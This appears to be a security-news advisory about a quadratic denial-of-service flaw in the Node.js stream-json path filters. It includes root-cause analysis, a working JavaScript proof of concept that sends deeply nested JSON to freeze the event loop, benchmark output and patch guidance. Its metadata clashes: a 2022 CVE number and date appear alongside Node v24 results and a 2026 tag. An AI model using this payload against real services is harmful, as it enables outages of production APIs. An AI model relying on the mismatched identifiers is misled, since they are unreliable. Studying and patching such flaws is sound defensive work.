Nodejs stream-json Library, Denial of Service (Algorithmic Complexity), CVE-2022-23599 (High) -DC-Sep2026-2177

Listen to this Post

The vulnerability resides in the pick, ignore, filter, and `replace` path filters – the core “surgical extraction” feature of the `stream-json` library. On every checkable token emitted during parsing, these filters recompute the full JSON path string by calling `stack.join(separator)` on an internal nesting stack. Since the stack length equals the current document depth, and a checkable token is emitted at every level of nesting, traversing a deeply nested document incurs quadratic cost O(D²) relative to depth D, rather than linear O(D). This behaviour is triggered purely by structural nesting, not by payload size; a tiny JSON body with thousands of nested objects or arrays can generate extreme CPU consumption. The issue is activated through the normal, documented usage path – for example, `pick({ filter: ‘data’ })` as shown in the README. Any service that uses these filters to extract fields from untrusted JSON bodies (the primary use case) becomes vulnerable to event-loop blocking. The flawed logic is located in `src/core/filters/filter-base.js` lines 26–34, where both string and RegExp filters invoke `stack.join(separator)` for each filter check. The stack is pushed and popped on startObject, startArray, and `end` events (lines 239–250), ensuring `stack.length === depth` at all times. During the ‘check’ state, `filter(stack, chunk)` is called for every checkable token (line 194). For a depth-D document that never matches the filter, `filter()` executes D times, and each execution performs an O(depth) join operation, yielding total O(D²) operations. Notably, the streamArray/streamObject/streamValues streamers are not affected because they use `asm.depth` – an O(1) getter – rather than recomputing the path. The proof of concept demonstrates this clearly: a document with 40,000 levels of nesting (only ~360 KB) blocks a single Node.js core for ~12 seconds on Node v24. Extrapolating, a 1–2 MB nested payload can cause single-digit minutes of CPU time per request. The suggested fix involves maintaining the joined path incrementally – appending separator and key on push, truncating to a remembered length on pop – so that filters test against a cached O(1) string. Alternatively, enforcing a maximum nesting depth eliminates the quadratic blow-up. The resolution was implemented in version 3.5.0, which caps nesting depth at 1024 by default and throws a `RangeError` beyond that, with an option to set `maxDepth: Infinity` to opt out.

DailyCVE Form:

Platform: Node.js stream-json
Version: 3.4.0 below
Vulnerability: Quadratic O(D²) DoS
Severity: High (CVSS 7.5)
Date: December 2022

Prediction: Already patched 3.5.0

What Undercode Say:

Analytics and verification commands:

Install the vulnerable version
npm i [email protected]
Run the PoC to measure quadratic scaling
node poc-quadratic-dos.mjs
Expected output (measured on Node v24):
D=5000 bytes= 45001 ms= 160
D=10000 bytes= 90001 ms= 603
D=20000 bytes=180001 ms= 2511
D=40000 bytes=360001 ms=11823
Upgrade to fixed version
npm i [email protected]
Verify the fix – depth > 1024 now throws RangeError
node -e "const {pick} = require('stream-json/filters/pick.js'); const doc = '{\"a\":'.repeat(2000)+'1'+'}'.repeat(2000); const p = pick({filter:'data'}); p.write(doc);"

Exploit: (Educational Purposes!)

// PoC – quadratic DoS via deep nesting
import parserStream from 'stream-json';
import { pick } from 'stream-json/filters/pick.js';
import chain from 'stream-chain';
async function exploit(depth) {
// Build deeply nested JSON that never matches filter "data"
const doc = '{"meta":'.repeat(depth) + '1' + '}'.repeat(depth);
const t0 = process.hrtime.bigint();
const pipeline = chain([parserStream(), pick({ filter: 'data' })]);
pipeline.on('data', () => {});
await new Promise((resolve) => {
pipeline.on('end', resolve);
pipeline.write(doc);
pipeline.end();
});
const elapsed = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(<code>Depth=${depth}, bytes=${doc.length}, ms=${Math.round(elapsed)}</code>);
}
// Trigger ~12s CPU block with ~360KB payload
await exploit(40000);

Protection: from this CVE

  • Upgrade immediately to `[email protected]` or higher – the default max depth of 1024 prevents quadratic blow-up.
  • If upgrading is not possible, manually enforce a maximum JSON nesting depth in your parser middleware (e.g., use `jsonparse` with `maxDepth` or custom depth counter) and reject overly nested payloads before they reach the filter.
  • Set `maxDepth: Infinity` only if you fully trust the input and understand the risk; otherwise keep the default 1024 cap.
  • Monitor CPU usage and response times for unexpected spikes, especially on endpoints accepting JSON with deep structures.

Impact:

Remote, unauthenticated denial-of-service against any Node.js service that processes untrusted JSON using the pick, ignore, filter, or `replace` path filters with a string or RegExp matcher. A single small HTTP request (~360 KB) can consume 100% of a CPU core for ~12 seconds, blocking the Node.js event loop and severely degrading or completely halting request handling. Concurrent attack requests multiply the effect, potentially taking down the entire service with minimal bandwidth. The vulnerability is triggered through the library’s flagship “surgical extraction” feature as documented, making it a critical risk for production APIs that parse external JSON.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top